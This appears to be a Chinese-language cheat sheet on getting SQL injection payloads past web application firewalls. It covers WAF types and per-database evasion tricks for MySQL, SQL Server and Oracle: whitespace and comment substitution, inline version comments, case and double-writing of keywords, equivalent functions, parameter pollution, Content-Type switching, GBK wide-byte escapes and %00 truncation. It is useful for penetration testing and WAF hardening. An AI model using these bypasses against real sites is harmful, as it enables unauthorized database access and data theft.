SQL注入绕WAF规则
WAF简述
WAF(Web Application Firewall),web应用防火墙,其通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护。
即通过一系列规则对请求内容进行检测,对所有不符合其定义的安全规则的请求进行拦截。
工作流程
请求预处理 -> 规则检测 -> 后处理
预处理:判断流量是否为http/s -> 判断url是否在白名单,是则直接交后端,否则进行规则检测
规则检测:对http/s请求内容进行规则匹配
后处理:根据检测结果拦截请求,给出相应的响应
分类
软WAF
以纯软件方式实现并安装在服务器上,直接拦截流量并分析
如:安全狗、云锁、D盾等
硬WAF
以硬件形式部署在链路中,支持多种部署方式,当串联在链路中可以拦截恶意流量,在旁路监听时只警告和记录但不拦截
如:imperva、天清WAG等
云WAF
一般以反向代理的方式工作,通过配置NS或CNAME记录使得对网站的请求先经过WAF,经过过滤后再放给实际后台服务器
嵌入式自定义WAF
一般会在Web中嵌入自定义的WAF功能,更加自由,与具体业务紧密结合
基本绕过
MySQL | Oracle | MSSQL | |
---|---|---|---|
注释 | /**/、#、/*!*/、–+、– |
–、/**/ | –、/**/ |
空白符 | %09、%0A、%0B、%0C、%0D、%20、%a0 | %09、%0A、%0B、%0C、%0D、%20、%a0 | %00-%20 |
空格过滤
seelect User,Password from user where Host=1(1)union(2)select(3)user,2(4)from(5)test;
MySQL
位置(1):
- 利用控制字符替换空格:%09、%0A、%0B、%0C、%0D、%20、%a0
- 利用注释符替换空格:/**/、/*!*/、—+haha%0d%0a
- 利用数学运算和数据类型:Host=0.1、Host=0E0、Host=\N
内联注释
/*!*/
/*!50173sleep(3)*/ # 感叹号! 后所接的数字是版本号 ,当目前数据库版本号大于等于所写版本号时,注释里的sql语句会被执行,反之则会被当作注释。
位置(2):
- 利用控制字符和注释符
- 利用括号:union(select user,2)
位置(3):
- 利用控制字符和注释符
- 利用特性符号:+、-、~、!、@
- 利用小括号:union select (user),2
位置(4):
- 利用控制字符和注释符
- 利用数学运算和数据类型:
union select user,2.0from test;
union select user,2E0from test;
union select user,\Nfrom test;
- 利用花括号:
union select{x `user`},2 from test;
union select{x user},2 from test;
位置(5):
- 利用控制字符和注释符
- 利用花括号:union select user,2 from{x`test`};
- 利用反引号:union select user,2 from`test`;
- 利用小括号:union select user,2 from(test);
SQL Server
位置(1):
- 利用控制字符替换空格:%01~%0F、%11~%1F
- 利用注释符替换空格:/**/、–+haha%0d0a
- 利用数学运算符及数据类型:Host=0.1、Host=0E0、Host=1-1
位置(2):
- 利用控制字符和注释符
- 利用+替换空格:union+select
位置(3):
- 利用控制字符和注释符
- 利用:+、-、~、.(其中后三个符号需要select后的第一个字段为数字型才可以)
- 利用小括号
位置(4):
- 利用控制字符和注释符
- 利用:%80-%FF(需要在IIS环境下)
- 利用数学运算及数据类型
位置(5):
- 利用控制字符和注释符
- 利用.替换空格:from.test
- 利用中括号:from[test]
- 利用:%80-%FF(需要在IIS环境下)
Oracle
位置(1):
- 利用控制字符:%00、%09、%0a、%0b、%0c、%0d、%1f、%1d、%20
- 利用.替换空格
位置(2):
- 利用控制字符
位置(3):
- 利用控制字符
- 利用:+、-、%ad
位置(4):
- 利用部分控制字符:%09、%0a、%0c、%0d
位置(5):
- 利用部分控制字符:%09、%0a、%0c、%0d
- 利用:%30-%ff、%24、%7b%22-%7b%76
敏感函数、关键字过滤
大小写绕过
UniOn、SelEct等
双写绕过
uniunionon
编码绕过
- 双重或多重url编码绕过
- 在IIS服务器环境下,可以使用unicode编码进行绕过:IIS会处理unicode编码的字符,而WAF中可能会不处理从而绕过、
配合特殊字符绕过
user()函数 => user/**/()
函数等价替换
mid(str,1,1) | substr(user() from 1 for 1) |
mid(str,1,1) | LPAD(user(),1,1) |
mid(str,1,1) | LPAD(REVERSE(TRIM( lpad(user(),1,SPACE(1)) )),1,SPACE(1) |
ascii(char)、ord(char) | conv(hex(char),16,10) |
.. | .. |
关键字等价替换
逗号过滤:if(mid(str,1,1)=‘a’,1,1) | case when mid(str from 1 for 1)=‘a’ then 1 else 0 end |
逗号过滤:union select 1,2 | union select * from (select 1)a join (select 2)b |
逗号过滤:limit 2,1 | limit 1 offset 2 |
= | like、rlike、regexp、!(id<>1)、strcmp()、find_in_set() |
<,> | least(ord(‘r’),115)、greatest()、between n and m |
其他方式绕过
异常method绕过
有些WAF在获取到的参数后(Apache 2.x 无论method为何值都会取出GET中的内容),判断为GET、POST方法进行才进行检测,因此可以随意构造异常的method进行绕过
大数据包绕过
有些WAF只检测
HTTP参数污染绕过
当传入同名的多个参数值时,服务端与waf的处理方式可能会有不同,因此可利用进行绕过。主流的服务端配置对同名参数的处理情况:
Web服务器 | 获取到的参数 |
---|---|
PHP/Apache | 最后一个 |
JSP/Tomcat | 第一个 |
Perl(CGI)/Apache | 第一个 |
Python/Apache | 所有(返回list) |
ASP/IIS | 所有(返回以逗号分隔的字符串) |
协议未覆盖绕过
Content-Type类型:
- Content-Type:multipart/form-data
- Content-Type:application/x-www-form-urlencoded
- Content-Type: text/xml
- Content-Type: application/json
有些WAF可能只对一种Content-Type进行检测,可以尝试使用其他类型进行绕过
宽字节绕过
当使用GBK编码,且为了防止SQL注入对单引号进行转义,即在单引号前加入反斜杠,因此可以预先加入一个可被识别为GBK编码的 一字节,转义后加入反斜杠,两字节被识别为GBK编码的汉字,成功吃掉反斜杠实现单引号逃逸
%00截断绕过
部分WAF解析参数遇到%00就认为结束,因此可通过在%00后加入参数绕过WAF检测